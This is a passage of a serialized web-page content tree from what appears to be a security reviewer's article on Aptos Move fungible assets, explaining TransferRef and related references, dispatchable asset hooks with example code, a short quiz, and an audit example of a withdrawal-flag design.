ownership!",{"type":22,"tag":1289,"props":67170,"children":67172},{"id":67171},"references",[67173],{"type":28,"value":67174},"References",{"type":22,"tag":31,"props":67176,"children":67177},{},[67178,67183,67185,67191,67193,67198,67200,67205],{"type":22,"tag":114,"props":67179,"children":67181},{"className":67180},[],[67182],{"type":28,"value":67174},{"type":28,"value":67184}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":22,"tag":114,"props":67186,"children":67188},{"className":67187},[],[67189],{"type":28,"value":67190},"Refs",{"type":28,"value":67192}," are based on the ",{"type":22,"tag":114,"props":67194,"children":67196},{"className":67195},[],[67197],{"type":28,"value":50791},{"type":28,"value":67199}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":22,"tag":114,"props":67201,"children":67203},{"className":67202},[],[67204],{"type":28,"value":50791},{"type":28,"value":67206}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":22,"tag":31,"props":67208,"children":67209},{},[67210,67212,67217,67219,67224,67225,67231,67233,67238,67240,67245],{"type":28,"value":67211},"Let's get back to the ",{"type":22,"tag":114,"props":67213,"children":67215},{"className":67214},[],[67216],{"type":28,"value":64017},{"type":28,"value":67218}," deletion example. Both ",{"type":22,"tag":114,"props":67220,"children":67222},{"className":67221},[],[67223],{"type":28,"value":65302},{"type":28,"value":12991},{"type":22,"tag":114,"props":67226,"children":67228},{"className":67227},[],[67229],{"type":28,"value":67230},"fungible_asset::remove_store",{"type":28,"value":67232}," use the same object-specific ",{"type":22,"tag":114,"props":67234,"children":67236},{"className":67235},[],[67237],{"type":28,"value":65234},{"type":28,"value":67239}," permission. It can be created only during object creation. There is no separate ",{"type":22,"tag":114,"props":67241,"children":67243},{"className":67242},[],[67244],{"type":28,"value":65234},{"type":28,"value":67246}," for fungible assets.",{"type":22,"tag":107,"props":67248,"children":67249},{"className":109,"code":65184,"language":111,"meta":7,"style":7},[67250],{"type":22,"tag":114,"props":67251,"children":67252},{"__ignoreMap":7},[67253,67260,67299,67306,67313],{"type":22,"tag":118,"props":67254,"children":67255},{"class":120,"line":121},[67256],{"type":22,"tag":118,"props":67257,"children":67258},{"style":257},[67259],{"type":28,"value":65196},{"type":22,"tag":118,"props":67261,"children":67262},{"class":120,"line":142},[67263,67267,67271,67275,67279,67283,67287,67291,67295],{"type":22,"tag":118,"props":67264,"children":67265},{"style":204},[67266],{"type":28,"value":63616},{"type":22,"tag":118,"props":67268,"children":67269},{"style":204},[67270],{"type":28,"value":8216},{"type":22,"tag":118,"props":67272,"children":67273},{"style":532},[67274],{"type":28,"value":65212},{"type":22,"tag":118,"props":67276,"children":67277},{"style":125},[67278],{"type":28,"value":540},{"type":22,"tag":118,"props":67280,"children":67281},{"style":204},[67282],{"type":28,"value":65221},{"type":22,"tag":118,"props":67284,"children":67285},{"style":210},[67286],{"type":28,"value":213},{"type":22,"tag":118,"props":67288,"children":67289},{"style":210},[67290],{"type":28,"value":1430},{"type":22,"tag":118,"props":67292,"children":67293},{"style":131},[67294],{"type":28,"value":65234},{"type":22,"tag":118,"props":67296,"children":67297},{"style":125},[67298],{"type":28,"value":3665},{"type":22,"tag":118,"props":67300,"children":67301},{"class":120,"line":177},[67302],{"type":22,"tag":118,"props":67303,"children":67304},{"emptyLinePlaceholder":15},[67305],{"type":28,"value":250},{"type":22,"tag":118,"props":67307,"children":67308},{"class":120,"line":195},[67309],{"type":22,"tag":118,"props":67310,"children":67311},{"style":257},[67312],{"type":28,"value":65253},{"type":22,"tag":118,"props":67314,"children":67315},{"class":120,"line":244},[67316,67320,67324,67328,67332,67336,67340,67344],{"type":22,"tag":118,"props":67317,"children":67318},{"style":204},[67319],{"type":28,"value":63616},{"type":22,"tag":118,"props":67321,"children":67322},{"style":204},[67323],{"type":28,"value":8216},{"type":22,"tag":118,"props":67325,"children":67326},{"style":532},[67327],{"type":28,"value":65269},{"type":22,"tag":118,"props":67329,"children":67330},{"style":125},[67331],{"type":28,"value":540},{"type":22,"tag":118,"props":67333,"children":67334},{"style":146},[67335],{"type":28,"value":65278},{"type":22,"tag":118,"props":67337,"children":67338},{"style":210},[67339],{"type":28,"value":213},{"type":22,"tag":118,"props":67341,"children":67342},{"style":131},[67343],{"type":28,"value":65287},{"type":22,"tag":118,"props":67345,"children":67346},{"style":125},[67347],{"type":28,"value":3665},{"type":22,"tag":31,"props":67349,"children":67350},{},[67351,67353,67358,67360,67366],{"type":28,"value":67352},"On the other hand, the \"frozen\" status of a ",{"type":22,"tag":114,"props":67354,"children":67356},{"className":67355},[],[67357],{"type":28,"value":64017},{"type":28,"value":67359}," is toggled using a ",{"type":22,"tag":114,"props":67361,"children":67363},{"className":67362},[],[67364],{"type":28,"value":67365},"TransferRef",{"type":28,"value":67367},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":22,"tag":107,"props":67369,"children":67371},{"className":109,"code":67370,"language":111,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[67372],{"type":22,"tag":114,"props":67373,"children":67374},{"__ignoreMap":7},[67375,67411,67435,67462,67481],{"type":22,"tag":118,"props":67376,"children":67377},{"class":120,"line":121},[67378,67382,67386,67391,67395,67399,67403,67407],{"type":22,"tag":118,"props":67379,"children":67380},{"style":204},[67381],{"type":28,"value":63616},{"type":22,"tag":118,"props":67383,"children":67384},{"style":204},[67385],{"type":28,"value":8216},{"type":22,"tag":118,"props":67387,"children":67388},{"style":204},[67389],{"type":28,"value":67390}," set_frozen_flag",{"type":22,"tag":118,"props":67392,"children":67393},{"style":125},[67394],{"type":28,"value":559},{"type":22,"tag":118,"props":67396,"children":67397},{"style":131},[67398],{"type":28,"value":7997},{"type":22,"tag":118,"props":67400,"children":67401},{"style":210},[67402],{"type":28,"value":213},{"type":22,"tag":118,"props":67404,"children":67405},{"style":204},[67406],{"type":28,"value":7941},{"type":22,"tag":118,"props":67408,"children":67409},{"style":125},[67410],{"type":28,"value":8598},{"type":22,"tag":118,"props":67412,"children":67413},{"class":120,"line":142},[67414,67419,67423,67427,67431],{"type":22,"tag":118,"props":67415,"children":67416},{"style":146},[67417],{"type":28,"value":67418},"    ref",{"type":22,"tag":118,"props":67420,"children":67421},{"style":210},[67422],{"type":28,"value":213},{"type":22,"tag":118,"props":67424,"children":67425},{"style":210},[67426],{"type":28,"value":1430},{"type":22,"tag":118,"props":67428,"children":67429},{"style":131},[67430],{"type":28,"value":67365},{"type":22,"tag":118,"props":67432,"children":67433},{"style":125},[67434],{"type":28,"value":782},{"type":22,"tag":118,"props":67436,"children":67437},{"class":120,"line":177},[67438,67442,67446,67450,67454,67458],{"type":22,"tag":118,"props":67439,"children":67440},{"style":204},[67441],{"type":28,"value":31352},{"type":22,"tag":118,"props":67443,"children":67444},{"style":210},[67445],{"type":28,"value":213},{"type":22,"tag":118,"props":67447,"children":67448},{"style":131},[67449],{"type":28,"value":63502},{"type":22,"tag":118,"props":67451,"children":67452},{"style":125},[67453],{"type":28,"value":559},{"type":22,"tag":118,"props":67455,"children":67456},{"style":131},[67457],{"type":28,"value":7997},{"type":22,"tag":118,"props":67459,"children":67460},{"style":125},[67461],{"type":28,"value":241},{"type":22,"tag":118,"props":67463,"children":67464},{"class":120,"line":195},[67465,67469,67473,67477],{"type":22,"tag":118,"props":67466,"children":67467},{"style":204},[67468],{"type":28,"value":63154},{"type":22,"tag":118,"props":67470,"children":67471},{"style":210},[67472],{"type":28,"value":213},{"type":22,"tag":118,"props":67474,"children":67475},{"style":131},[67476],{"type":28,"value":1469},{"type":22,"tag":118,"props":67478,"children":67479},{"style":125},[67480],{"type":28,"value":782},{"type":22,"tag":118,"props":67482,"children":67483},{"class":120,"line":244},[67484],{"type":22,"tag":118,"props":67485,"children":67486},{"style":125},[67487],{"type":28,"value":3665},{"type":22,"tag":31,"props":67489,"children":67490},{},[67491,67492,67497,67498,67503],{"type":28,"value":2743},{"type":22,"tag":114,"props":67493,"children":67495},{"className":67494},[],[67496],{"type":28,"value":50791},{"type":28,"value":8467},{"type":22,"tag":114,"props":67499,"children":67501},{"className":67500},[],[67502],{"type":28,"value":67365},{"type":28,"value":67504}," is used to transfer object ownership:",{"type":22,"tag":107,"props":67506,"children":67508},{"className":109,"code":67507,"language":111,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[67509],{"type":22,"tag":114,"props":67510,"children":67511},{"__ignoreMap":7},[67512,67520,67553,67572],{"type":22,"tag":118,"props":67513,"children":67514},{"class":120,"line":121},[67515],{"type":22,"tag":118,"props":67516,"children":67517},{"style":257},[67518],{"type":28,"value":67519},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":22,"tag":118,"props":67521,"children":67522},{"class":120,"line":142},[67523,67527,67532,67536,67541,67545,67549],{"type":22,"tag":118,"props":67524,"children":67525},{"style":146},[67526],{"type":28,"value":11399},{"type":22,"tag":118,"props":67528,"children":67529},{"style":131},[67530],{"type":28,"value":67531}," TransferRef",{"type":22,"tag":118,"props":67533,"children":67534},{"style":204},[67535],{"type":28,"value":11408},{"type":22,"tag":118,"props":67537,"children":67538},{"style":204},[67539],{"type":28,"value":67540}," drop",{"type":22,"tag":118,"props":67542,"children":67543},{"style":125},[67544],{"type":28,"value":231},{"type":22,"tag":118,"props":67546,"children":67547},{"style":204},[67548],{"type":28,"value":7950},{"type":22,"tag":118,"props":67550,"children":67551},{"style":125},[67552],{"type":28,"value":1474},{"type":22,"tag":118,"props":67554,"children":67555},{"class":120,"line":177},[67556,67560,67564,67568],{"type":22,"tag":118,"props":67557,"children":67558},{"style":146},[67559],{"type":28,"value":2477},{"type":22,"tag":118,"props":67561,"children":67562},{"style":210},[67563],{"type":28,"value":213},{"type":22,"tag":118,"props":67565,"children":67566},{"style":204},[67567],{"type":28,"value":8259},{"type":22,"tag":118,"props":67569,"children":67570},{"style":125},[67571],{"type":28,"value":782},{"type":22,"tag":118,"props":67573,"children":67574},{"class":120,"line":195},[67575],{"type":22,"tag":118,"props":67576,"children":67577},{"style":125},[67578],{"type":28,"value":481},{"type":22,"tag":31,"props":67580,"children":67581},{},[67582,67584,67589],{"type":28,"value":67583},"While the fungible asset's ",{"type":22,"tag":114,"props":67585,"children":67587},{"className":67586},[],[67588],{"type":28,"value":67365},{"type":28,"value":67590}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":22,"tag":107,"props":67592,"children":67594},{"className":109,"code":67593,"language":111,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[67595],{"type":22,"tag":114,"props":67596,"children":67597},{"__ignoreMap":7},[67598,67606,67614,67645,67672],{"type":22,"tag":118,"props":67599,"children":67600},{"class":120,"line":121},[67601],{"type":22,"tag":118,"props":67602,"children":67603},{"style":257},[67604],{"type":28,"value":67605},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":22,"tag":118,"props":67607,"children":67608},{"class":120,"line":142},[67609],{"type":22,"tag":118,"props":67610,"children":67611},{"style":257},[67612],{"type":28,"value":67613},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":22,"tag":118,"props":67615,"children":67616},{"class":120,"line":177},[67617,67621,67625,67629,67633,67637,67641],{"type":22,"tag":118,"props":67618,"children":67619},{"style":146},[67620],{"type":28,"value":11399},{"type":22,"tag":118,"props":67622,"children":67623},{"style":131},[67624],{"type":28,"value":67531},{"type":22,"tag":118,"props":67626,"children":67627},{"style":204},[67628],{"type":28,"value":11408},{"type":22,"tag":118,"props":67630,"children":67631},{"style":204},[67632],{"type":28,"value":67540},{"type":22,"tag":118,"props":67634,"children":67635},{"style":125},[67636],{"type":28,"value":231},{"type":22,"tag":118,"props":67638,"children":67639},{"style":204},[67640],{"type":28,"value":7950},{"type":22,"tag":118,"props":67642,"children":67643},{"style":125},[67644],{"type":28,"value":1474},{"type":22,"tag":118,"props":67646,"children":67647},{"class":120,"line":195},[67648,67652,67656,67660,67664,67668],{"type":22,"tag":118,"props":67649,"children":67650},{"style":204},[67651],{"type":28,"value":63493},{"type":22,"tag":118,"props":67653,"children":67654},{"style":210},[67655],{"type":28,"value":213},{"type":22,"tag":118,"props":67657,"children":67658},{"style":131},[67659],{"type":28,"value":63502},{"type":22,"tag":118,"props":67661,"children":67662},{"style":125},[67663],{"type":28,"value":559},{"type":22,"tag":118,"props":67665,"children":67666},{"style":131},[67667],{"type":28,"value":63511},{"type":22,"tag":118,"props":67669,"children":67670},{"style":125},[67671],{"type":28,"value":8002},{"type":22,"tag":118,"props":67673,"children":67674},{"class":120,"line":244},[67675],{"type":22,"tag":118,"props":67676,"children":67677},{"style":125},[67678],{"type":28,"value":481},{"type":22,"tag":31,"props":67680,"children":67681},{},[67682,67684,67690,67692,67698],{"type":28,"value":67683},"Additionally, there are fungible asset-specific references such as ",{"type":22,"tag":114,"props":67685,"children":67687},{"className":67686},[],[67688],{"type":28,"value":67689},"MintRef",{"type":28,"value":67691}," for minting and ",{"type":22,"tag":114,"props":67693,"children":67695},{"className":67694},[],[67696],{"type":28,"value":67697},"BurnRef",{"type":28,"value":67699}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":22,"tag":23,"props":67701,"children":67703},{"id":67702},"dispatchable-fungible-assets",[67704],{"type":28,"value":67705},"Dispatchable fungible assets",{"type":22,"tag":31,"props":67707,"children":67708},{},[67709],{"type":28,"value":67710},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":22,"tag":31,"props":67712,"children":67713},{},[67714],{"type":28,"value":67715},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":22,"tag":67717,"props":67718,"children":67719},"warning",{},[67720],{"type":22,"tag":31,"props":67721,"children":67722},{},[67723,67725,67731],{"type":28,"value":67724},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":22,"tag":114,"props":67726,"children":67728},{"className":67727},[],[67729],{"type":28,"value":67730},"transfer_assert_minimum_deposit",{"type":28,"value":67732}," that can help mitigate such risks.",{"type":22,"tag":31,"props":67734,"children":67735},{},[67736,67738,67743,67745,67752],{"type":28,"value":67737},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":22,"tag":114,"props":67739,"children":67741},{"className":67740},[],[67742],{"type":28,"value":63616},{"type":28,"value":67744}," to ensure ",{"type":22,"tag":42,"props":67746,"children":67749},{"href":67747,"rel":67748},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[46],[67750],{"type":28,"value":67751},"their signature remains immutable",{"type":28,"value":67753},". An example implementation might look like this:",{"type":22,"tag":107,"props":67755,"children":67757},{"className":109,"code":67756,"language":111,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[67758],{"type":22,"tag":114,"props":67759,"children":67760},{"__ignoreMap":7},[67761,67797,67824,67843,67867,67886,67894,67940,67947,67954,67990,68017,68037,68060,68067,68074,68118],{"type":22,"tag":118,"props":67762,"children":67763},{"class":120,"line":121},[67764,67768,67772,67777,67781,67785,67789,67793],{"type":22,"tag":118,"props":67765,"children":67766},{"style":204},[67767],{"type":28,"value":63616},{"type":22,"tag":118,"props":67769,"children":67770},{"style":204},[67771],{"type":28,"value":8216},{"type":22,"tag":118,"props":67773,"children":67774},{"style":204},[67775],{"type":28,"value":67776}," withdraw_hook",{"type":22,"tag":118,"props":67778,"children":67779},{"style":125},[67780],{"type":28,"value":559},{"type":22,"tag":118,"props":67782,"children":67783},{"style":131},[67784],{"type":28,"value":7997},{"type":22,"tag":118,"props":67786,"children":67787},{"style":210},[67788],{"type":28,"value":213},{"type":22,"tag":118,"props":67790,"children":67791},{"style":204},[67792],{"type":28,"value":7941},{"type":22,"tag":118,"props":67794,"children":67795},{"style":125},[67796],{"type":28,"value":8598},{"type":22,"tag":118,"props":67798,"children":67799},{"class":120,"line":142},[67800,67804,67808,67812,67816,67820],{"type":22,"tag":118,"props":67801,"children":67802},{"style":204},[67803],{"type":28,"value":31352},{"type":22,"tag":118,"props":67805,"children":67806},{"style":210},[67807],{"type":28,"value":213},{"type":22,"tag":118,"props":67809,"children":67810},{"style":131},[67811],{"type":28,"value":63502},{"type":22,"tag":118,"props":67813,"children":67814},{"style":125},[67815],{"type":28,"value":559},{"type":22,"tag":118,"props":67817,"children":67818},{"style":131},[67819],{"type":28,"value":7997},{"type":22,"tag":118,"props":67821,"children":67822},{"style":125},[67823],{"type":28,"value":241},{"type":22,"tag":118,"props":67825,"children":67826},{"class":120,"line":177},[67827,67831,67835,67839],{"type":22,"tag":118,"props":67828,"children":67829},{"style":204},[67830],{"type":28,"value":63523},{"type":22,"tag":118,"props":67832,"children":67833},{"style":210},[67834],{"type":28,"value":213},{"type":22,"tag":118,"props":67836,"children":67837},{"style":131},[67838],{"type":28,"value":583},{"type":22,"tag":118,"props":67840,"children":67841},{"style":125},[67842],{"type":28,"value":782},{"type":22,"tag":118,"props":67844,"children":67845},{"class":120,"line":195},[67846,67851,67855,67859,67863],{"type":22,"tag":118,"props":67847,"children":67848},{"style":204},[67849],{"type":28,"value":67850},"    transfer_ref",{"type":22,"tag":118,"props":67852,"children":67853},{"style":210},[67854],{"type":28,"value":213},{"type":22,"tag":118,"props":67856,"children":67857},{"style":210},[67858],{"type":28,"value":1430},{"type":22,"tag":118,"props":67860,"children":67861},{"style":131},[67862],{"type":28,"value":67365},{"type":22,"tag":118,"props":67864,"children":67865},{"style":125},[67866],{"type":28,"value":782},{"type":22,"tag":118,"props":67868,"children":67869},{"class":120,"line":244},[67870,67874,67878,67882],{"type":22,"tag":118,"props":67871,"children":67872},{"style":125},[67873],{"type":28,"value":3627},{"type":22,"tag":118,"props":67875,"children":67876},{"style":210},[67877],{"type":28,"value":213},{"type":22,"tag":118,"props":67879,"children":67880},{"style":131},[67881],{"type":28,"value":63481},{"type":22,"tag":118,"props":67883,"children":67884},{"style":125},[67885],{"type":28,"value":1474},{"type":22,"tag":118,"props":67887,"children":67888},{"class":120,"line":253},[67889],{"type":22,"tag":118,"props":67890,"children":67891},{"style":257},[67892],{"type":28,"value":67893},"    //check paused, gather fees etc.\n",{"type":22,"tag":118,"props":67895,"children":67896},{"class":120,"line":263},[67897,67902,67906,67911,67915,67920,67924,67928,67932,67936],{"type":22,"tag":118,"props":67898,"children":67899},{"style":125},[67900],{"type":28,"value":67901},"    fungible_asset",{"type":22,"tag":118,"props":67903,"children":67904},{"style":210},[67905],{"type":28,"value":1190},{"type":22,"tag":118,"props":67907,"children":67908},{"style":532},[67909],{"type":28,"value":67910},"withdraw_with_ref",{"type":22,"tag":118,"props":67912,"children":67913},{"style":125},[67914],{"type":28,"value":540},{"type":22,"tag":118,"props":67916,"children":67917},{"style":204},[67918],{"type":28,"value":67919},"transfer_ref",{"type":22,"tag":118,"props":67921,"children":67922},{"style":125},[67923],{"type":28,"value":231},{"type":22,"tag":118,"props":67925,"children":67926},{"style":204},[67927],{"type":28,"value":7950},{"type":22,"tag":118,"props":67929,"children":67930},{"style":125},[67931],{"type":28,"value":231},{"type":22,"tag":118,"props":67933,"children":67934},{"style":204},[67935],{"type":28,"value":22270},{"type":22,"tag":118,"props":67937,"children":67938},{"style":125},[67939],{"type":28,"value":3665},{"type":22,"tag":118,"props":67941,"children":67942},{"class":120,"line":318},[67943],{"type":22,"tag":118,"props":67944,"children":67945},{"style":125},[67946],{"type":28,"value":481},{"type":22,"tag":118,"props":67948,"children":67949},{"class":120,"line":351},[67950],{"type":22,"tag":118,"props":67951,"children":67952},{"emptyLinePlaceholder":15},[67953],{"type":28,"value":250},{"type":22,"tag":118,"props":67955,"children":67956},{"class":120,"line":359},[67957,67961,67965,67970,67974,67978,67982,67986],{"type":22,"tag":118,"props":67958,"children":67959},{"style":204},[67960],{"type":28,"value":63616},{"type":22,"tag":118,"props":67962,"children":67963},{"style":204},[67964],{"type":28,"value":8216},{"type":22,"tag":118,"props":67966,"children":67967},{"style":204},[67968],{"type":28,"value":67969}," deposit_hook",{"type":22,"tag":118,"props":67971,"children":67972},{"style":125},[67973],{"type":28,"value":559},{"type":22,"tag":118,"props":67975,"children":67976},{"style":131},[67977],{"type":28,"value":7997},{"type":22,"tag":118,"props":67979,"children":67980},{"style":210},[67981],{"type":28,"value":213},{"type":22,"tag":118,"props":67983,"children":67984},{"style":204},[67985],{"type":28,"value":7941},{"type":22,"tag":118,"props":67987,"children":67988},{"style":125},[67989],{"type":28,"value":8598},{"type":22,"tag":118,"props":67991,"children":67992},{"class":120,"line":368},[67993,67997,68001,68005,68009,68013],{"type":22,"tag":118,"props":67994,"children":67995},{"style":204},[67996],{"type":28,"value":31352},{"type":22,"tag":118,"props":67998,"children":67999},{"style":210},[68000],{"type":28,"value":213},{"type":22,"tag":118,"props":68002,"children":68003},{"style":131},[68004],{"type":28,"value":63502},{"type":22,"tag":118,"props":68006,"children":68007},{"style":125},[68008],{"type":28,"value":559},{"type":22,"tag":118,"props":68010,"children":68011},{"style":131},[68012],{"type":28,"value":7997},{"type":22,"tag":118,"props":68014,"children":68015},{"style":125},[68016],{"type":28,"value":241},{"type":22,"tag":118,"props":68018,"children":68019},{"class":120,"line":384},[68020,68025,68029,68033],{"type":22,"tag":118,"props":68021,"children":68022},{"style":204},[68023],{"type":28,"value":68024},"    fa",{"type":22,"tag":118,"props":68026,"children":68027},{"style":210},[68028],{"type":28,"value":213},{"type":22,"tag":118,"props":68030,"children":68031},{"style":131},[68032],{"type":28,"value":63481},{"type":22,"tag":118,"props":68034,"children":68035},{"style":125},[68036],{"type":28,"value":782},{"type":22,"tag":118,"props":68038,"children":68039},{"class":120,"line":417},[68040,68044,68048,68052,68056],{"type":22,"tag":118,"props":68041,"children":68042},{"style":204},[68043],{"type":28,"value":67850},{"type":22,"tag":118,"props":68045,"children":68046},{"style":210},[68047],{"type":28,"value":213},{"type":22,"tag":118,"props":68049,"children":68050},{"style":210},[68051],{"type":28,"value":1430},{"type":22,"tag":118,"props":68053,"children":68054},{"style":131},[68055],{"type":28,"value":67365},{"type":22,"tag":118,"props":68057,"children":68058},{"style":125},[68059],{"type":28,"value":782},{"type":22,"tag":118,"props":68061,"children":68062},{"class":120,"line":425},[68063],{"type":22,"tag":118,"props":68064,"children":68065},{"style":125},[68066],{"type":28,"value":16783},{"type":22,"tag":118,"props":68068,"children":68069},{"class":120,"line":441},[68070],{"type":22,"tag":118,"props":68071,"children":68072},{"style":257},[68073],{"type":28,"value":67893},{"type":22,"tag":118,"props":68075,"children":68076},{"class":120,"line":475},[68077,68081,68085,68090,68094,68098,68102,68106,68110,68114],{"type":22,"tag":118,"props":68078,"children":68079},{"style":125},[68080],{"type":28,"value":67901},{"type":22,"tag":118,"props":68082,"children":68083},{"style":210},[68084],{"type":28,"value":1190},{"type":22,"tag":118,"props":68086,"children":68087},{"style":532},[68088],{"type":28,"value":68089},"deposit_with_ref",{"type":22,"tag":118,"props":68091,"children":68092},{"style":125},[68093],{"type":28,"value":540},{"type":22,"tag":118,"props":68095,"children":68096},{"style":204},[68097],{"type":28,"value":67919},{"type":22,"tag":118,"props":68099,"children":68100},{"style":125},[68101],{"type":28,"value":231},{"type":22,"tag":118,"props":68103,"children":68104},{"style":204},[68105],{"type":28,"value":7950},{"type":22,"tag":118,"props":68107,"children":68108},{"style":125},[68109],{"type":28,"value":231},{"type":22,"tag":118,"props":68111,"children":68112},{"style":204},[68113],{"type":28,"value":63674},{"type":22,"tag":118,"props":68115,"children":68116},{"style":125},[68117],{"type":28,"value":682},{"type":22,"tag":118,"props":68119,"children":68120},{"class":120,"line":484},[68121],{"type":22,"tag":118,"props":68122,"children":68123},{"style":125},[68124],{"type":28,"value":481},{"type":22,"tag":68126,"props":68127,"children":68128},"question",{},[68129,68156],{"type":22,"tag":31,"props":68130,"children":68131},{},[68132,68134,68140,68142,68148,68149,68155],{"type":28,"value":68133},"Why hook functions rely on ",{"type":22,"tag":114,"props":68135,"children":68137},{"className":68136},[],[68138],{"type":28,"value":68139},"*_with_ref",{"type":28,"value":68141}," calls? What would happen if the hook function called ",{"type":22,"tag":114,"props":68143,"children":68145},{"className":68144},[],[68146],{"type":28,"value":68147},"dispatchable_fungible_asset::withdraw",{"type":28,"value":18758},{"type":22,"tag":114,"props":68150,"children":68152},{"className":68151},[],[68153],{"type":28,"value":68154},"fungible_asset::withdraw_with_ref",{"type":28,"value":796},{"type":22,"tag":68157,"props":68158,"children":68159},"template",{"v-slot:answer-0":7},[68160,68172],{"type":22,"tag":31,"props":68161,"children":68162},{},[68163,68165,68170],{"type":28,"value":68164},"A1: Hook functions rely on ",{"type":22,"tag":114,"props":68166,"children":68168},{"className":68167},[],[68169],{"type":28,"value":68139},{"type":28,"value":68171}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":22,"tag":31,"props":68173,"children":68174},{},[68175,68177,68182],{"type":28,"value":68176},"A2: A ",{"type":22,"tag":114,"props":68178,"children":68180},{"className":68179},[],[68181],{"type":28,"value":68147},{"type":28,"value":68183}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":22,"tag":31,"props":68185,"children":68186},{},[68187],{"type":28,"value":68188},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":22,"tag":107,"props":68190,"children":68192},{"className":109,"code":68191,"language":111,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[68193],{"type":22,"tag":114,"props":68194,"children":68195},{"__ignoreMap":7},[68196,68291,68311,68326,68346,68389,68404,68411,68418,68537,68556,68571,68590,68633],{"type":22,"tag":118,"props":68197,"children":68198},{"class":120,"line":121},[68199,68203,68207,68211,68215,68219,68223,68227,68231,68235,68239,68243,68247,68251,68255,68259,68263,68267,68271,68275,68279,68283,68287],{"type":22,"tag":118,"props":68200,"children":68201},{"style":204},[68202],{"type":28,"value":63616},{"type":22,"tag":118,"props":68204,"children":68205},{"style":204},[68206],{"type":28,"value":8216},{"type":22,"tag":118,"props":68208,"children":68209},{"style":204},[68210],{"type":28,"value":63625},{"type":22,"tag":118,"props":68212,"children":68213},{"style":125},[68214],{"type":28,"value":559},{"type":22,"tag":118,"props":68216,"children":68217},{"style":131},[68218],{"type":28,"value":7997},{"type":22,"tag":118,"props":68220,"children":68221},{"style":210},[68222],{"type":28,"value":213},{"type":22,"tag":118,"props":68224,"children":68225},{"style":204},[68226],{"type":28,"value":7941},{"type":22,"tag":118,"props":68228,"children":68229},{"style":125},[68230],{"type":28,"value":9617},{"type":22,"tag":118,"props":68232,"children":68233},{"style":204},[68234],{"type":28,"value":7950},{"type":22,"tag":118,"props":68236,"children":68237},{"style":210},[68238],{"type":28,"value":213},{"type":22,"tag":118,"props":68240,"children":68241},{"style":131},[68242],{"type":28,"value":63502},{"type":22,"tag":118,"props":68244,"children":68245},{"style":125},[68246],{"type":28,"value":559},{"type":22,"tag":118,"props":68248,"children":68249},{"style":131},[68250],{"type":28,"value":7997},{"type":22,"tag":118,"props":68252,"children":68253},{"style":125},[68254],{"type":28,"value":569},{"type":22,"tag":118,"props":68256,"children":68257},{"style":204},[68258],{"type":28,"value":63674},{"type":22,"tag":118,"props":68260,"children":68261},{"style":210},[68262],{"type":28,"value":213},{"type":22,"tag":118,"props":68264,"children":68265},{"style":131},[68266],{"type":28,"value":63481},{"type":22,"tag":118,"props":68268,"children":68269},{"style":125},[68270],{"type":28,"value":231},{"type":22,"tag":118,"props":68272,"children":68273},{"style":204},[68274],{"type":28,"value":67919},{"type":22,"tag":118,"props":68276,"children":68277},{"style":210},[68278],{"type":28,"value":213},{"type":22,"tag":118,"props":68280,"children":68281},{"style":210},[68282],{"type":28,"value":1430},{"type":22,"tag":118,"props":68284,"children":68285},{"style":131},[68286],{"type":28,"value":67365},{"type":22,"tag":118,"props":68288,"children":68289},{"style":125},[68290],{"type":28,"value":16783},{"type":22,"tag":118,"props":68292,"children":68293},{"class":120,"line":142},[68294,68299,68303,68307],{"type":22,"tag":118,"props":68295,"children":68296},{"style":532},[68297],{"type":28,"value":68298},"    